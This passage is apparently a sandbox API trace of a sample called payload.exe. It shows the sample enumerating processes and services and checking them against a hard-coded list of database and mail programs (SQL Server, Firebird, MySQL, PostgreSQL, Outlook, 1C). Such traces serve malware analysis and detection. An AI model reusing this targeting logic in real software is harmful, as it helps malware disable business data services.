(lpString="userinit.exe") returned 12 [0100.144] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0100.144] lstrlenW (lpString="dwm.exe") returned 7 [0100.144] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0100.144] lstrlenW (lpString="explorer.exe") returned 12 [0100.144] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0100.144] lstrlenW (lpString="spoolsv.exe") returned 11 [0100.144] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0100.145] lstrlenW (lpString="taskhost.exe") returned 12 [0100.145] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.145] lstrlenW (lpString="svchost.exe") returned 11 [0100.145] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0100.145] lstrlenW (lpString="payload.exe") returned 11 [0100.145] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0100.145] lstrlenW (lpString="reader_sl.exe") returned 13 [0100.145] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0100.146] lstrlenW (lpString="taskhost.exe") returned 12 [0100.146] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0100.146] lstrlenW (lpString="dllhost.exe") returned 11 [0100.146] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0100.146] CloseHandle (hObject=0x33c) returned 1 [0100.146] Sleep (dwMilliseconds=0x1f4) [0100.793] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab71e8 [0100.793] EnumServicesStatusExW (in: hSCManager=0x3ab71e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0100.793] GetLastError () returned 0xea [0100.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x113e) returned 0x5e07c8 [0100.793] EnumServicesStatusExW (in: hSCManager=0x3ab71e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x113e, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0100.794] CloseServiceHandle (hSCObject=0x3ab71e8) returned 1 [0100.794] lstrlenW (lpString="Appinfo") returned 7 [0100.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0100.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0100.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0100.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0100.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0100.794] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0100.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0100.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0100.794] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0100.794] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0100.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0100.794] lstrlenW (lpString="AudioSrv") returned 8 [0100.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0100.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0100.794] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0100.794] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0100.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0100.794] lstrlenW (lpString="BFE") returned 3 [0100.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0100.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0100.794] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0100.794] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0100.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0100.794] lstrlenW (lpString="CryptSvc") returned 8 [0100.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0100.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0100.794] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0100.794] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0100.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0100.794] lstrlenW (lpString="CscService") returned 10 [0100.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0100.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0100.794] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0100.794] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0100.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0100.794] lstrlenW (lpString="DcomLaunch") returned 10 [0100.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0100.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0100.795] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0100.795] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0100.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0100.795] lstrlenW (lpString="Dhcp") returned 4 [0100.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0100.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0100.795] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0100.795] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0100.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0100.795] lstrlenW (lpString="Dnscache") returned 8 [0100.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0100.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0100.795] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0100.795] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0100.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0100.795] lstrlenW (lpString="DPS") returned 3 [0100.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0100.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0100.795] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0100.795] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0100.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0100.795] lstrlenW (lpString="eventlog") returned 8 [0100.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0100.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0100.795] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0100.795] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0100.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0100.795] lstrlenW (lpString="EventSystem") returned 11 [0100.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0100.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0100.795] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0100.795] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0100.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0100.795] lstrlenW (lpString="gpsvc") returned 5 [0100.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0100.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0100.795] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0100.795] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0100.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0100.795] lstrlenW (lpString="iphlpsvc") returned 8 [0100.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0100.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0100.796] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0100.796] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0100.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0100.796] lstrlenW (lpString="LanmanServer") returned 12 [0100.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0100.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0100.796] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0100.796] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0100.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0100.796] lstrlenW (lpString="LanmanWorkstation") returned 17 [0100.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0100.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0100.796] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0100.796] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0100.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0100.796] lstrlenW (lpString="lmhosts") returned 7 [0100.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0100.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0100.796] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0100.796] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0100.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0100.796] lstrlenW (lpString="MMCSS") returned 5 [0100.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0100.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0100.796] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0100.796] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0100.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0100.796] lstrlenW (lpString="MpsSvc") returned 6 [0100.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0100.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0100.796] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0100.796] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0100.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0100.796] lstrlenW (lpString="Netman") returned 6 [0100.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0100.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0100.796] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0100.796] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0100.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0100.796] lstrlenW (lpString="netprofm") returned 8 [0100.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0100.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0100.796] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0100.796] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0100.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0100.797] lstrlenW (lpString="NlaSvc") returned 6 [0100.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0100.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0100.797] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0100.797] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0100.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0100.797] lstrlenW (lpString="nsi") returned 3 [0100.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0100.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0100.797] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0100.797] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0100.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0100.797] lstrlenW (lpString="PcaSvc") returned 6 [0100.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0100.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0100.797] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0100.797] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0100.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0100.797] lstrlenW (lpString="PlugPlay") returned 8 [0100.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0100.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0100.797] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0100.797] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0100.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0100.797] lstrlenW (lpString="Power") returned 5 [0100.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0100.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0100.797] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0100.797] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0100.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0100.797] lstrlenW (lpString="ProfSvc") returned 7 [0100.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0100.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0100.797] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0100.797] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0100.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0100.797] lstrlenW (lpString="RpcEptMapper") returned 12 [0100.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0100.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0100.797] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0100.797] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0100.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0100.798] lstrlenW (lpString="RpcSs") returned 5 [0100.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0100.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0100.798] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0100.798] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0100.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0100.798] lstrlenW (lpString="SamSs") returned 5 [0100.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0100.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0100.798] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0100.798] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0100.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0100.798] lstrlenW (lpString="Schedule") returned 8 [0100.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0100.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0100.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0100.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0100.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0100.798] lstrlenW (lpString="SENS") returned 4 [0100.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0100.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0100.798] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0100.798] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0100.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0100.798] lstrlenW (lpString="ShellHWDetection") returned 16 [0100.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0100.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0100.798] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0100.798] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0100.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0100.798] lstrlenW (lpString="Spooler") returned 7 [0100.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0100.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0100.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0100.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0100.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0100.798] lstrlenW (lpString="SysMain") returned 7 [0100.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0100.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0100.798] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0100.798] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0100.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0100.798] lstrlenW (lpString="Themes") returned 6 [0100.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0100.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0100.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0100.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0100.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0100.799] lstrlenW (lpString="TrkWks") returned 6 [0100.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0100.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0100.799] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0100.799] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0100.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0100.799] lstrlenW (lpString="UxSms") returned 5 [0100.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0100.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0100.799] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0100.799] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0100.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0100.799] lstrlenW (lpString="WdiServiceHost") returned 14 [0100.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0100.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0100.799] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0100.799] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0100.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0100.799] lstrlenW (lpString="WdiSystemHost") returned 13 [0100.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0100.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0100.799] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0100.799] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0100.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0100.799] lstrlenW (lpString="Winmgmt") returned 7 [0100.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0100.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0100.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0100.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0100.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0100.799] lstrlenW (lpString="WPDBusEnum") returned 10 [0100.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0100.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0100.799] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0100.799] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0100.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0100.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0100.799] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3c4 [0100.801] Process32FirstW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.801] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0100.802] lstrlenW (lpString="System") returned 6 [0100.802] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0100.802] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0100.802] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0100.802] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0100.802] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0100.802] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0100.802] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0100.802] Process32NextW (in: hSnapshot=0x3c4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0100.802] lstrlenW (lpString="smss.exe") returned 8 [0100.802] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0100.802] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 